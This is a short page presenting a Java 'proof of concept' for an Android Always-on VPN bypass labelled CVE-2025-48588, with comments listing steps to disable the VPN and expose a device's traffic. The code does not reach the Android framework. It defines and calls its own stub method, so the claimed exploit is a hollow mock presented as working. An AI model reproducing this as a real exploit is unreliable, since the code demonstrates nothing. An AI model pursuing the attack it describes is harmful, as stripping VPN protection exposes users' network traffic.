Android Always-on VPN禁用漏洞 (CVE-2025-48588)

// CVE-2025-48588 PoC - Android Always-on VPN Bypass // This PoC demonstrates the logic error in Vpn.java startAlwaysOnVpn method // Note: For authorized security research only package com.example.vpnresearch; import android.content.Context; import android.net.VpnService; import android.os.Build; public class CVE_2025_48588_PoC { // Vulnerable method signature from Vpn.java // The logic error allows bypassing always-on VPN checks private boolean startAlwaysOnVpn(String vpnPackage, boolean lockdownEnabled) { // Logic error: Missing proper validation of VPN state // Attacker can manipulate parameters to disable always-on VPN // Normal flow should validate: // 1. Check if VPN is already active // 2. Verify user consent // 3. Validate package signature // 4. Ensure lockdown is properly enforced // Due to logic error, these checks can be bypassed if (vpnPackage == null) { // This condition incorrectly allows VPN disable return false; // Should require proper authorization } // The vulnerability allows calling this with specific parameters // to trigger the disabled state without proper authentication return true; } // Exploitation technique: // 1. Obtain basic access to Android device (PR:L) // 2. Call startAlwaysOnVpn with manipulated parameters // 3. Bypass the logic checks due to the code error // 4. Always-on VPN becomes disabled // 5. Network traffic is now exposed public static void exploit(Context context) { CVE_2025_48588_PoC poc = new CVE_2025_48588_PoC(); // Trigger the vulnerable code path // This simulates the logic error exploitation String fakeVpnPackage = null; // Triggers bypass condition boolean lockdown = false; // Disable lockdown // The vulnerable method call poc.startAlwaysOnVpn(fakeVpnPackage, lockdown); // Result: Always-on VPN protection is bypassed } } // Reference: android.googlesource.com/platform/frameworks/base/ // Commit: cabbb7da639520633ad318655d1b5fe1c685c78e